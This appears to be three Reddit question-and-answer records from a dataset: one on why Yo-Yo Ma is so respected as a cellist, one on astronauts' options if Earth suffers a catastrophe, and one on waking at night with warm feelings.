{"q_id": "39au0e", "title": "what is it that makes yo-yo ma such a respected musician? can an amateur listener tell the difference between him and other professionals?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39au0e/eli5_what_is_it_that_makes_yoyo_ma_such_a/", "answers": {"a_id": ["cs1vc9t", "cs1veyo", "cs1wok7", "cs1wx6t", "cs1xds2", "cs1xdz1", "cs1yorx", "cs1zat9", "cs206en", "cs20gxa", "cs20n6c", "cs20slf", "cs22x7h", "cs2apev", "cs2bb0x", "cs2d675", "cs2decu", "cs2dy3m", "cs2eaom", "cs2ghu7", "cs2gj5w", "cs2gvi7", "cs2hfq7", "cs2ktho", "cs2lpf5", "cs2m4l7", "cs2p6tn", "cs2puzp", "cs2sqoa", "cs2tfud", "cs2v8bu", "cs3cg6z"], "score": [7, 1329, 17, 3, 2, 3, 61, 39, 8, 19, 2, 462, 728, 4, 6, 9, 11, 2, 3, 2, 30, 4, 4, 4, 3, 2, 2, 3, 3, 2, 2, 2], "text": ["Check out his Wikipedia bio. He started out as a child prodigy and managed to parlay that into a really interesting, varied career. \n\n_URL_0_\n\nHere's a discussion of him in /r/classicalmusic:\n\n_URL_1_", "Well let me start by saying that I'm not an expert in classical music by any stretch but I did go to college as part of the Recording Industry Managment program at MTSU, specializing in Pro/Tech, so I feel that I can add something to the conversation.\n\nthe thing about classical music is that it has already been writen and there isn't much room for deviation from the written music while performing in and orchestral setting, if you listen to a full arrangement by different orchestras the music will almost always be extreamly similar.\n\nYoyo has found a way to express himself *within* the written music, he adds emotion to the music without changing the underlying arrangements that we know and love.\n\nThink of it like this, in the world of music, covers are normally not as good as the original because the artist changed it and the song isn't what people expected anymore (rythemic, lyrical, or key changes) yet if a skilled/talented artist does the cover they add to the song without changing it to the point of being unrecognizable.  Yoyo found a way through his love and passion for classical music to add to the music without taking anything away in the process.\n\nThe best way to tell the difference would be to listen to a full orchestral version of the music made by someone else then listen the him play the same thing, at least for me I can feel the difference, the passion for what he does seeps into the music and infuses it with emotion.\n\n\nEdit:  > to simplify: If classical music is \"Hurt\" by Nine Inch nails, Yo-Yo Ma is Johnny Cash. \nThank you /u/beardfantastic for the eli5 of my eli5\n", "In some ways, musicians are like actors or athletes. They can play the same piece of music while imbuing it with their own distinctive personality. Broadly, there are two schools of thought - one being that you should play exactly what the composer wrote onto the sheet of music, and the other being that you should interpret what the composer was trying to convey. Anyone too near one extreme will to some degree risk alienating fans of the other approach, but nobody can afford to just play it safe.\n\nAs the violoncello happens to be one of the most expressive instruments in the orchestral instrument family, it takes great dedication to achieve excellence in all its techniques and subtleties. \n\nGreat cellists of the past, e.g. Casals, du Pre, Rostropovich, have sometimes been less than universally popular. Sometimes due to choice of repertoire, personality, or extreme technique, but sometimes just through lack of presence (i.e. if their last show was 50 years ago and not enough good quality CDs have been available).\n\nYo-Yo Ma has great musicianship, which his fellow professionals will appreciate whenever they collaborate. It also means he's amassed a huge portfolio of works he's able and willing to play, which makes him more accessible to the public, since he may actually play something they'll know and not just obscure 18th century Boccherini (etc.) pieces (which are likely to be amazing, but not as likely to draw in a big crowd). He looks good, which is a massive benefit for promoters  and agents, record companies and broadcasters. And, let's not underestimate the bonus that he grew up in New York so he's got a good sharp focus to what he says and does.\n\nAbout amateur listeners, I'm not sure what you mean. Listening is an entirely separate skill than performing. I've presented radio shows aimed at a general audience, but there'll be different levels of appreciation within that audience. Frequently I'll hear something on the radio and not have foreknowledge of who the performer is, but will listen to the music and performance - occasionally I'll guess  correctly who it was, and often will be pleasantly surprised (usually by discovering I actually like somebody that I'd previously cursorily dismissed on the basis of some bad review I'd seen). If they know in advance who they'll be listening to, even professional listeners may claim to hear differences, but all great cellists should sound great if they are playing a \"nice\" piece of music. ", "I'm no classic music expert by any stretch, but after listening to the same piece by multiple musicians, I notice that the piece is \"interpreted\" differently by the musician. By varying the elements of the composition, some interpretations connect/translate better to the listener, and perhaps, tell a more vivid story .", "Listen to the album Appalachian Journey. [Here is the title song](_URL_0_) on youtube. \n\nGreat fusion of bluegrass and classical and shows Yo Yo Ma's range. the entire album has mixes like that as well as some with James Taylor and other unique musicians. As mentioned in some of the other comments, Yo Yo Ma has found a way to bring more personality to music that has been performed literally millions of time, and has the range to carry it beyond classical.", "Musician here. As a believer in the communicative power of music, I have to believe that the playing of a great player reaches listeners. I'd like to add \"...regardless of the listener's pedigree,\" but there is a huge cultural factor in how we perceive music too. For example, I find Indian ragas pleasant to listen to but there's no way I really derive everything from the experience that the acculturated listener does. SO, qualified \"yes,\" IMO.\n", "I think it's easier to communicate the answer to this question (without music theory) with voice, and I have an example I use when I used to give lessons.\n\nTake the song Sway.  First, I'll throw out the Michael Bubl\u00e9 version:\n\n_URL_1_\n\nHis voice is close to technically perfect for the song, but I always feel like he's just...singing.  He's not feeling the music, he's just recording it.  Don't get me wrong, he's a talented guy, I just don't happen to like him because everything he sings just feels like it's missing...something.\n\nNow the Dean Martin version.\n\n_URL_0_\n\nTechnically, he's less proficient, but it feels like he really is IN the music.  The song is far more emotional, with little vocal \"imperfections\" that add to the the quality of texture.\n\nA talented musician knows where to put those slight imperfections in order to make the song personal.\n\nEDIT:  I can grammars.", "/u/thepyrodex has the best explaination, but to simplify: If classical music is \"Hurt\" by Nine Inch nails, Yo-Yo Ma is Johnny Cash. ", "It's difficult to come to one answer because people like various musicians for their own reasons. That being said, I can talk a little bit about the technical details behind musicianship of the conventional stringed instruments (violin, cello, viola, bass).\n\nI have to disagree with the top comment at the moment. If you really dive deep into classical music, you can tell there is a distinct difference between the styles of different musicians and groups. On a technical level, there are so many choices you can make when looking at the music. Sure the notes and rhythms for the most part are always the same between players. But then you have to consider things like:\n\n- Should slide or jump in order to get from one note to the next? If I slide, should I retain the same pressure throughout the slide? Or should I loosen up? What about my bow hand? How do I manipulate that weight?\n- Should I vibrate on all the notes in this measure? Should I vibrate only some of them? Should I start off not vibrating but then vibrate halfway through?\n- How much pressure should I apply to the bow in this section? When do I apply more or less pressure? Should I slur these parts or use a different bowing? Which direction should my bow be travelling in order to get from this measure to the next? Which part of my bow should I play these notes in?\n- Should I emphasize this set of notes more by applying more pressure to accent them more? Should I try to smoothen them out more?\n- And many more\n\nThe music score tells you to accent these notes or to play these notes smoothly or to get louder here. It doesn't tell you HOW to do that. There are so many technical tools that string instrument players have at their disposal to change their sound. An untrained ear may not be able to distinguish these small nuances. But when you understand the technical background of the music, you really recognize and develop an appreciation for the individual choices the musician makes. \n\nAdditionally, it's very difficult to quantify \"emotion\" and \"love\" and \"commitment\" in music. What does that even amount to? How can you distinguish this? No these are not elements that someone can just magically add to their music. A musician is an interpreter moreso than a full on creator. They must take the notes of the composer and mold them and present them in the way they believe the composer intended by using the technical tools that they hone to their advantage. That \"emotion\" you're hearing is developed by the choices the musician has made in his/her/their performance of the piece.\n\nThe same idea applies to an orchestra. You may believe something like the orchestra is made up of individual people so aren't we really just listening to a bunch of individual interpretations? That's where the conductor comes in. No, the conductor's only job is not to wave their magic wand (called a baton) during the piece to keep rhythm. Most of their work happens before the performance; organizing the members of the orchestra to perform the piece, again using their collective technical tools, in the manner in which the conductor interprets the piece.\n\nSo to finalize and give you an example, try listening to Pablo Sarasate's Zapateado performed by both Jascha Heifetz and Itzhak Perlman. Heifetz has a pretty distinctive style with which he plays and I think you will be able to hear the difference between these two:\n\n_URL_1_\n_URL_0_", "I was on the borderline of being a professional cellist.  I have good friends that are professional musicians, and I won some youth competitions in my area and made it through grad school - and playing with a local symphony, before deciding the stress and competition weren't for me.\n\nYo-Yo, is a great musician.  He is also a popular figure.  In my youth he was known as being consistent, although on the bland side for his interpretations.  He was a great guy, but even he (as do most musicians) didn't seem to love every piece he was performing.  Other well known musicians of that era were Lynn Harrell, Nathaniel Rosen, Jacqueline Du Pres - a bit before were Rostrpovich and Piatagorsky, and bit after were Steven Iserlis, Matt Heimovitz, and then one current (who happens to be a friend) is Zuill Bailey.\n\nEach musician in the above list is amazing.  Each (at different times) has technique that is on average greater than many other cellists.  With current competitive standards though, the differences in technique are getting smaller and smaller.  To get to this level, just about every person has to play the standard \"difficult works\" in the literature (Dvorak cello concerto, Prokofiev Sinfonia Concertante, 6th unaccompanied Bach cello suite, etc.)  From here everything becomes a matter of interpretation.\n\nOne thing some of us up and comer musicians have been frustrated with, with Yo-Yo specifically, is that after becoming successful, he soaked up much of the remaining oxygen in the market for non-classical music by a symphony musician (especially cello).  I had been in multiple Jazz and Modern music ensembles, and after both Hush (with bobby McFarren) came out, and then the Record he did of bluegrass with Mike Marshal, there was very little for other cellists to do, especially ones that were already pursuing those other genres.  He increased exposure on one hand, but the market is really limited and he also seemed to suck the air right out.\n\nIs Yo-Yo a great musician.  Yes.\nIs Yo-Yo greater than others, not really. (but to each his own)\n\nI personally would recommend listening to many other musicians along with Yo-Yo before assuming that one can tell the difference between them.  I've always really enjoyed Steven Isserlis.  Something about his interpretations really resonate with me, but also for me music is more about the performance these days, than just being a passive listener.", "I had only heard of him in passing. It wasn't until I heard his collaborations with Sting that I really took notice. I always loved string instruments, and have wanted to learn cello since I was a young girl (never have), so I am fascinated by his collaborations as well as his classical pieces.\n\nFragile, Live:\n_URL_0_", "I feel like there are some odd opinions in here.  No, Yo-Yo Ma isn't famous for being famous.  I work in the classical music industry, and have studied it my whole life, and am regularly around the top performers in that world.\n\n\n\nThink of classical music like this:  IMAGINE a painting that is hundreds of years old, no one has SEEN the actual painting, there are only descriptions of it these days, and the actual one was destroyed a long time ago.  There are no photos of it, no reproductions of it, only a very, very detailed description and black and white map of what it looked like from the original painter.  So now come to present day, and a bunch of different people are trying to show people what the painting looked like, because everyone suspects that it was AWESOME.  Some people even go to SCHOOL to learn just about the time when the painting was created, and get degrees from college in \"showing people what a painting looks like without having the original\".  \n\n\n\nSome people don\u2019t study at all and just pull together their own idea of what the painting looked like, but they draw it with crayons, and it doesn\u2019t even make sense.  Some people get a degree from a community college, and they recreate the painting and people are like \u201cok that\u2019s decent, I see what you are trying to do, but meh, whatever\u201d.  Some people go to the best schools in the world and get the best training on how to show people what the painting looks like, and people are like \"oh wow, that's a very technical representation of what the painting probably was like, but it still kind of bores me for some reason\".  \n\n\n\nBut then there are some people, most who went to great schools, some who didn't, and they have this un-quantifiable quality to their \"reproduction\" of the painting... it's this quality that makes people REALLY look at the painting and feel like they are looking at the ACTUAL painting, and it makes them FEEL like this could be the REAL painting, and they FEEL the emotion of the guy from hundreds of years ago who wrote the original description of what the painting is to look like, and all at once they are overcome by 1. How smart this person must be to have ACTUALLY been able to accurately show people what the painting looked like 2. How awesome this person is because he/she somehow touched something emotional, and made us FEEL something, often something very DEEP and sublime, just by looking at a painting that he recreated from a map someone gave him of something from three hundred years ago.  \n\n\n\nThat is Yo Yo Ma.  The painting is music.\n\n\n\n**EDIT:\nThank you everyone for the awesome words!  Here are a few pieces that I feel illustrate what I was trying to say... performers who when I first heard them perform these specific pieces, I thought wow, I HEAR the composer, I FEEL the blood coming out of the music.**\n\nNOTE - these are all crappy audio quality because they are youtube videos, but I wanted a way for people to get a quick free listen.  I highly recommend visiting these pieces alone with headphones and good audio!  These examples are just a START, classical music is awesome and there are SO many incredible pieces out there, but here is a tiny bit!!!\n\n**Bach Chaconne for Solo Violin - Itzhak Perlman**\n_URL_6_\n\n**Bach Cello Suite - D Minor, 1st Mvmt - Yo Yo Ma**\n_URL_3_\n\n**Chopin - Nocturne in C Minor, Josef Hoffman**\n_URL_0_\n\n**Bach - English Suite A Minor, Gigue - Glenn Gould**\n_URL_1_\n\n**Liszt - Transcendental Etude No 10 - Georgy Cziffra**\n_URL_4_\n\n**Vivaldi - The Four Seasons, Winter - Nigel Kennedy**\n_URL_5_\n\n**Rachmaninoff - Piano Concerto No 3 - Vladimir Horowitz**\nThis is a kind of exception because Rachmaninoff lived in the last century, so we actually have recordings of him playing.  Horowitz and Rachmaninoff were actually friends, and Rachmaninoff himself said he preferred Horowitz's playing of the 3rd piano concerto to his own playing.  \n_URL_2_\n\n\n**EDIT EDIT - THANK YOU for the GOLD stranger!!!**\n", "There are many great comments here and I'd like to just add a few other thoughts to the conversation.  Full disclosure: I have 3 degrees in music, including my doctorate and teach at a midwestern SLAC.\n\nMuch of what a professional musician of the caliber of Yo-Yo Ma does is based on technique.  That is, technical skill that is honed over many years and many, many hours in the practice room.  You cannot play, technically, as well as he without this component.  That said, what makes a \"technician\" an \"artist\" is their level of innate musicality and the ways in which they have also worked to develop that particular skill.  Yes, the scores Ma plays are written down, that is, they have a composer who wrote out each note, and they have been (many of them) played and recorded before.  However, for the professional musician, this is not limiting, rather, it is liberating.  It is within the confines (a terrible word-choice on my part but I'm in a rush) of the score that the pro (aided significantly by their \"inner musician\" and level of technical skill) is able to find unique and personal modes of expression that are, I believe, audible to the listener.....with one caveat.  This music was meant to be performed live and I think it loses something when we listen to a recording.  There is nothing like being in the room when a highly-trained artist practices their craft.  The energy does not, I believe, translate well to the recorded medium.  That said, that's how it is and I do get great enjoyment from my recordings....it just isn't the same.\n\nBack to the professional musician and the confines of the score.  Julie Andrews' recording of \"The Sound of Music\" is a prime example, I think, of what I'm talking about.  [Here](_URL_1_) is a recording of Ms. Andrews singing the namesake song.  \n[Here](_URL_0_) is the sheet music for that piece (I apologize for the potato quality).  Notice that it is in strict common (4/4) time and there is no indication of rubato or any such thing.  Listen to Ms. Andrews sing it *once more* (HA!) and you'll begin to notice the difference between what is written and what she sings.  She does not sing the rhythm strictly or mechanically, rather she lingers a bit at times and at others, rushes forward just a touch so that the overall tempo is not affected and the music does not meander.  Think of this as \"borrowing\" and \"paying back.\"  Ms. Andrews borrows from the rhythm at times and at others, pays it back so that it all comes out precisely and evenly; it sounds wholly organic, as if it ever was. That is an example of artistry of the highest order.  Ask yourself-is not EVERY \"Maria\" judged by Ms. Andrews' benchmark?  That separates the novice from professional.  \n\nAn artist like Julie Andrews or Yo-Yo Ma is not restricted by the score.  Instead they are freed by it to create something unique and organic.  This is the result of talent, sure, a bit, but mostly a LOT of work.  \n\nDo I think even the untrained can hear and appreciate that?  Absolutely.  I am not a trained athlete but I recognize the greatness of Michael Jordan and Mia Hamm.  I may not see the specifics that separate them from the novice but I can see the whole.\n\nJust some stuff to ponder!  :)\n\nEdit: Holy buckets!  GOLD!  Thank you so very much!  I am really enjoying this discussion and the contributions of so many....I'm learning lots.  Many thanks!\n", "Clearly a gifted cellist, but his appeal transcends technical ability.  He really puts his heart and soul into that cello.  I've seen him live.  Sometimes, he almost falls out of his chair.  It's like he's channeling some higher energy when he plays.  Very inspiring.", "There are a lot of great, thoughtful answers in here that have given me some honestly fascinating insight into musical performance, and I'd like to thank all the contributors for that. I think, though, that we might be overlooking a simpler explanation for at least part of his popularity: He has a great name.\n\nYo-Yo Ma. Three satisfying, instantly memorable syllables. It's just fun to say, isn't it? It's like \"Uma,\" or \"Oprah,\" or \"bongo.\" Plus, it also references two other fun things: yo-yos and yo-mama jokes. Everybody likes those, except for people with mamas of questionable character or excessive size.", "I find this thread a bit lacking of examples.\n\nI rarely listen to classical music, I sometimes to, but rarely. And I really don't know much about it and I don't know many performers or whatever.\n\nAnyway, one of my favorite pieces is the very famous Bach Cello Suite No. 1: Pr\u00e9lude\n\nHere are 3 different versions:\n\nBy Ralph Kirschbaum: _URL_2_\n\nBy Mstislav Rostropovich: _URL_0_\n\nAnd by Yo-Yo Ma: _URL_1_\n\nNow all 3 are hugely successful and celebrated cello players and they certainly put their own personal touch to it.\n\nNow the Kirschbaum one is probably the one I personally enjoy the most, it feels more sad and melancholic and the deeper tones in it appeal to me.", "Speaking from the perspective of a classical music professional who's heard and met many professional cellists:\n\nA very notable part of the respect he's gained as a musician has actually come from the fact that he's dedicated, very likeable as a person (and thus has created a lot of opportunities for himself), has a fantastic agent, knows how to market himself and has incredible flair for theatrics on stage.\n\nPurely musically: technically and artistically he's at an extremely high level. He interprets the music he performs very thoughtfully (though obviously often based on previous interpretations with only slight changes). He does some really cool things; for instance, he articulates counterpoint in some of his Bach interpretations in a very organic way that gives colour to both macro- and microcosmic contrapuntal movement. Classical performers who genuinely understand the mechanics of the music are few and far between: however, there are others out there who do this who don't get the same respect that Ma does.", "As a cellist, I can almost always tell when it's him playing a piece, whether it's as a soloist or as a quartet.\n\nHe just has such a unique, beautiful way of playing.", "Is it bad I thought Yo-Yo Ma was a rapper before this thread?", "Anybody who hangs out with [Mister Rogers](_URL_0_) is worthy of respect.", "Cellist Here: What sets Yo-yo Ma apart specifically compared to other cellists at his level is how \"clean\" his sound is.\n\nThis means that while other cellists like Mischa Maisky or Steven Isserlis, for example, may have various pops and/or squeaks or just random \"noise\" that could distract from the clarity of the sound, Yo-yo has reduced those noticeable noises down to being almost imperceptible.\n\nOne of the other things about him is that he brings this impeccable technical fluency to everything he plays, while many famous soloists have a strict repertoire that they play and practice all the time.\n\nTelling the difference on a recording between him and another international-caliber player might be tough, but listening to your average professional cellist next to Yo-yo Ma would be a major difference in terms of this \"noise\" I mentioned.\n\nA friend-of-a-friend of mine was the stand-in player for rehearsals for the Appalachia Waltz album and could barely play the music, but Yo-yo comes in and plays it like it's as easy as tying your shoes.\n\nMany cellists I've talked to regard him as a freak of nature for how big, round, accurate, and clean his sound is.\n\nSource: I have a degree in both Cello Performance and String Pedagogy and have played in numerous professional orchestras.", "Here's some things you notice in top level playing:\n\n-How does the note begin? Does it sneak in, whispering, or is there a clear attack?\n\n-What happens during the duration of the note? How does the volume change over the course of the note, and why does it change that way? Does the vibrato intensify?\n\n-How do we move from one note to the next? Is there a slight space, do the notes connect, is there a glissando (slide)? A fast or long glissando?\n\n-In the big picture, music is divided into long phrases. How does your playing evolve through those phrases? Why does it evolve that way? How can you work with other instruments to communicate the meaning in those phrases?\n\n-There are many, many more things to talk about. Yoyo is an absolute master at making decisions on both a microscopic and macroscopic level. He can be aggressive or sweet and is amazing and communicating his intended emotions to the audience.", "For those that love well written explanations, read \"This is your brain on music\".  TL;DR:  everyone is born a professional listener of music, so yes, everyone can hear the difference.\n\nSimple proof:  Listen to Bach played by Yo-Yo Ma.  Listen to Bach played by Hillary Hahn.  Listen to Bach played by Christopher Parkening.  Listen to Bach performed by the Original Swingle Singers.  Listen to Bach played by Keith Jarrett.  Listen to Bach played by Jethro Tull.\n\nMusicians become respected for their performance precisely because every listener can hear the difference.  The listener hears what is art.\n\n", "This may be relevant.  Eight years ago, Joshua Bell, one of the world's finest violinists performed for 43 minutes in the morning rush hour of  Washington Subway.  As a busker, he collected $32. _URL_0_\n", "Hi! I'm a cellist, and my dad is a cellist who has played with Yo-Yo many times and is friends with him, so I think I can answer some of these questions. The classical musical world is fascinating, and rapidly changing. Yo-Yo was successful at first because he had a natural talent, started extremely young, and enjoyed playing cello from the start. When you have that combination in the beginning, it's a tremendous advantage. He kept performing, networking, and started getting more and more media buzz. He got famous at a time where there were not many cello soloists (or string soloists, for that matter). So he stuck out pretty easily. But what's also great about him is his adaptation--he is always keeping up with modern times, including playing with younger, next gen musicians, doing lots of outreach, and even getting into different musical styles (Goat Rodeo Sessions, etc.). On top of that, he is one of the most humble, generous, and sincere humans and musicians on this planet. He is the nicest guy ever, and I can attest to this because I had the privilege of meeting him when I was younger. My dad plays in a famous top 5 symphony in the US, and after a rehearsal, he took me on stage to meet Yo-Yo, and when Yo-Yo saw him the first thing hey said was \"Hey (name)! How is everything, how is your shoulder?\" My dad has had shoulder problems in the past. What's great is that now, there are so many hotshot cellists out there, just as good or better (yes, better!) than Yo-Yo, but he keeps thriving due to reasons previously mentioned. Also, he is EXTREMELY expressive and confident as a musician. I can go on and on. Hope some see this!", "Cello is an instrument that has an amazing sound when it is played with emotion.  A lot of cellists are classically trained and dependent on arrangement and a conductor.  He plays alone and brings out the great potential of the instrument that is heard when it is played where the emotion of the song directs the play.", "Listen to the Elgar Cello Concertos as performed by Jacqueline Du Pre. Then listen to Yo Yo Ma play the same. These are two of the greats playing an amazing selection, yet I prefer Du Pre's rendition. Listen to a lot of music, find out what you like and why. Then listen out for who pushes the boundaries of those things. David Garret pushed pop onto violin (listen to him play Sandstorm for a laugh) and that opened the gates for Lindsey Stirling, Nuttin But Strings, and countless youtube violinists pushing boundaries of expected sound. Strings are so expressive, they sing in such a unique way, I really think people should give the music a chance.", "Wtf, are you in Chicago? Because I played a concert with Yo-Yo Ma about five hours ago and people were losing their shit. For good reason. ", "I have heard of Yo- Yo Ma thanks to Arthur, anyone else?", "Explaining classical music to someone who isn't trained is such a difficult process because its an academic discipline that's been so far removed from the average person's education. Explaining how to study classical to someone is like teaching calculus to a person who hasn't learned to count. But maybe that's the best way to answer your question: playing even one piece of music from a past era requires so much (historical period, instrument differences, aesthetic preferences) then there's technique, then there's analysis (music theory) then there's self review (practise) then peer review (teacher/rehearsal) THEN THERE IS PERSONAL STYLE. There's much more that goes into playing classical music than there is to popular styles. Then you have to consider education. Did they have a good teacher? A good school? The same goes for math. There's so much that goes into answering a single question that it's mind boggling without the background. So how does a prodigy do it? Well, they can take in everything by observation at a young age and understand it intuitively, then spend the rest of their lives comprehending and mastering it. That's the difference between yo yo ma and some other guy. He has the educational background and DEEP instinctive comprehension of the entire subject that let's him understand every little thing on a microscopic level and this lets him execute his ideas in a way that few people can match. ", "Let's put it this way: I can appreciate classical music and know how to play an instrument moderately well. I'm no expert at all. \n\nI saw yo-yo ma at the Hollywood bowl because my mom wanted company. I wasn't really excited and thought \"let's see how over-rated he is. I'll bet I can't even tell the difference between him and another great soloist\". Wrong. He clearly blew everyone out of the water. Everything he played was fucking unbelievable and like nothing I've ever heard before. It was instantly clear why he is so famous. ", "Juilliard musician here! I'm so glad that this question came up, and I hope that I can give a coherent answer about something that I have been devoting my entire life to.\n\nOne of the important purposes of music (in my humble opinion) is to bring emotional unity to its listeners and performers. In its best form, music can transcend all social barriers and let individuals communicate and understand each other by taking an emotional journey together. \nFor example, when violinist William Harvey went to Afghanistan to try to establish a classical music institution right after 9/11, he was initially met with great hostility as a Westerner. When Harvey went to an Afghan official's house to discuss the institution, the initial feelings between the two were very cold and strained. But during that meeting, Harvey pulled out his violin and played an Afghan folk song to the official. The official was in tears and they quickly became friends. Fast forward a few years later, Harvey successfully set up the Afghanistan National Music Institute, where he is faculty member, and he led its orchestral tour to USA, including a concert in Carnegie Hall. Music can transcend all boundaries and bring understanding, friendship, and love to people.\n\nWith that said, it is extremely hard to be able to carry out this great purpose of music. To bring life to the ink written on pages by the composers and make it *accessible* to every one takes years of practice and guidance.\n\nThis is where Yo-Yo Ma stands out as such a great musician. The aspect of Yo-Yo Ma's playing that makes him arguably the most famous musician in the world is how he is able to communicate the art and its raw emotions directly with the audience. It's as if there is a direct link between his heart and each audience members' hearts where emotions are communicated. He makes music in such a natural, organic, and human way that people get simply mesmerized by this music that brings them to such strong emotions. And as the audience members can easily access and understand the artistic message of the music, Yo-Yo Ma can take them all on a great emotional journey where the audience members feel this amazing unity and mutual understanding with each other.\n\nThere are only a select few artists who can do it as transparently and easily as Yo-Yo Ma. Even though there are **many** cellists or musicians who are technically as good, if not definitely better, than Ma, only a handful have the ability to directly communicate with the audience. They may play with dazzling technique and enjoyable musicality, but being able to transparently and directly communicate with the audience is a rare ability of the highest degree.\n\nTo briefly answer the second question, an amateur listener can definitely tell the difference between him and other professionals. Each artist has his/her own distinct musical voice. And just like how you can tell the difference between your friend A and your friend B saying the same speech, amateurs can tell the difference between Yo-Yo Ma and Mstislav Rostropovich (another great cellist) performing the same piece. Of course, this means that the amateur must be familiar with the \"voice\" of Yo-Yo Ma, just like how you have to be familiar with your friend's voice in order to be able to spot it out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Yo-Yo_Ma", "http://www.reddit.com/r/classicalmusic/comments/s1bjk/this_might_be_karmic_suicide_but_im_curious/"], [], [], [], ["https://www.youtube.com/watch?v=dK2r9QrkI4o"], [], ["https://youtu.be/-Eoy3sDwVN4", "https://youtu.be/dG8giVJKQPI"], [], ["https://www.youtube.com/watch?v=sIvmYMXB7FQ", "https://www.youtube.com/watch?v=RLMfODeg6tw"], [], ["https://youtu.be/fU0ey7BVM0I?t=71"], ["https://www.youtube.com/watch?v=0K8CH1RUWH8", "https://www.youtube.com/watch?v=KscJ0c0_U8Y", "https://www.youtube.com/watch?v=D5mxU_7BTRA", "https://www.youtube.com/watch?v=_A7Uwp8IVus", "https://www.youtube.com/watch?v=M0cbB7Sdmcg", "https://www.youtube.com/watch?v=RkuGtF4T9vI", "https://www.youtube.com/watch?v=5bVRTtcWmXI"], ["http://www.musicnotes.com/images/productimages/mtd/MN0105518_D5.gif", "https://www.youtube.com/watch?v=wbQSAdU4Qb4"], [], [], ["http://www.last.fm/music/Mstislav+Rostropovich/_/6+Suites+%28Sonatas%29+for+Cello+BWV1007-12,+Suite+No.1+in+G+major,+BWV1007:+Pr%C3%A9lude", "http://www.last.fm/music/Yo-Yo+Ma/_/Unaccompanied+Cello+Suite+No.+1+In+G+Major,+BWV+1007:+Pr%C3%A9lude", "http://www.last.fm/music/Ralph+Kirshbaum/_/Suites+for+Cello,+Suite+No.+1+in+G+Major+BWV+1007:+Prelude"], [], [], [], ["https://www.youtube.com/watch?v=J2CccvrcN-M"], [], [], [], ["http://www.washingtonpost.com/lifestyle/magazine/pearls-before-breakfast-can-one-of-the-nations-great-musicians-cut-through-the-fog-of-a-dc-rush-hour-lets-find-out/2014/09/23/8a6d46da-4331-11e4-b47c-f5889e061e5f_story.html"], [], [], [], [], [], [], [], []]}
{"q_id": "pkns3", "title": "Are there any specific instructions for what astronauts are supposed to do in the event of something catastrophic happening on earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pkns3/are_there_any_specific_instructions_for_what/", "answers": {"a_id": ["c3q4vy8", "c3q4yzi", "c3q4zfs", "c3q525k", "c3q59kw", "c3q5ab7"], "score": [162, 332, 29, 48, 7, 126], "text": ["I'm not sure what the people in space are supposed to do, but I do know there are instructions for people in [submarines](_URL_2_) in the event of a nuclear catastrophe.\n*EDIT: For those of you who like [radio](_URL_0_), here's a short discussion of the implications of this letter. There's also a [link](_URL_1_) to the BBC documentary (audio only) discussing it.", "I was unable to find any information for you, but I have submitted this question to [Ask NASA](_URL_1_). I will post when I receive a response.\n\nedit: [the email I sent](_URL_0_)\n\nedit2: (2/27/12) They never emailed me back...", "Wouldn't they be able to use the Soyuz TMA ( _URL_0_ ) to get back to the surface? It's my understanding they have two of those docked to the ISS in case of emergencies.\n\nsource: some frantic googling.", "Whoa, can someone fill me in on what their suppose to do if they encounter a UFO? ", "So if they have to abandon ship, it seems like the Soyuz pod (comments below say they might have two of these at ISS?) is their lifeboat to earth.\n\nBut if they simply lost contact with earth or if the disaster didn't directly affect them, what would be the time limiting factors for their ability to remain on the station? Water, electrity, food, or oxygen/CO2 perhaps?", "No protocol, but given the specifics of the ISS, the crew will be 6 people, 2 Souyz vehicles docked at the station. Food won't be a problem for about 1 year given that something like the ATV just docked, and they do have fuel to stay on orbit (as they are LEO they have to constantly boost the orbit) for about 2 years. The greatest limiting factor is the lifetime of the Souyz spacecraft - they are designed to stay about 6 months in space (the main problem are the hydrazine engines and their fuel, they tend to degrade over long periods of time. Batteries and such have the same problem). If you feel brave, perhaps you could extend the lifetime of the spacecraft to about 1 year, but then you have to land. Usually the Souyz overlap, so let's say one of them could stay docked for 1 year and the other for 6 months. Then you need to undock an land, which COULD be done manually with relatively good precision. The long time in space would have made the cosmonauts a bit weaker, but they are trained in survival and could land somewhere in Kazakhstan (usual landing spot), then hope that there are any remains of civilization there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thisamericanlife.org/radio-archives/episode/399/Contents-Unknown?act=0", "http://podcast.thisamericanlife.org/special/BBC_The_Human_Button.mp3", "http://en.wikipedia.org/wiki/Letters_of_last_resort"], ["http://imgur.com/qRHq6", "http://www.nasa.gov/about/contact/index.html"], ["http://en.wikipedia.org/wiki/Soyuz-TMA"], [], [], []]}
{"q_id": "355ize", "title": "what is happening when i wake up in the middle of the night with warm fuzzy feelings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/355ize/eli5_what_is_happening_when_i_wake_up_in_the/", "answers": {"a_id": ["cr16y8w", "cr17ogi"], "score": [7, 3], "text": ["Wow. This happens to me occasionally, and you couldn't have described the feeling better than that. I really feel 'at home' during those moments. Everything about myself and the world is very clear, and, good or bad, it's nothing to worry about because just being alive is a really great thing. \n\nRegardless whether anyone posts a good explanation, thanks just for reminding me of this. I've never heard anyone talk about it before, so it's pretty cool to know with certainty that other people have the same experience.", "I think that's just your brains dealing with your dreams, maybe you dreamt something pleasant, forgot it and now those images are being processed by your \"waking-up\" brain. This process of going from sleeping to being awake is called hypnopompia (opposite of hypnagogia, which is the period between being awake and falling asleep). And the [wiki](_URL_0_) page describes it as:\n\n > the hypnopompic state is emotional and credulous dreaming cognition trying to make sense of real world stolidity.\n\nEuneirophrenia is in my brief search just a word made up by internet users that describes something similar to hypnopompia. You won't find any scientific explanation behind that. But I could be wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Hypnopompic"]]}
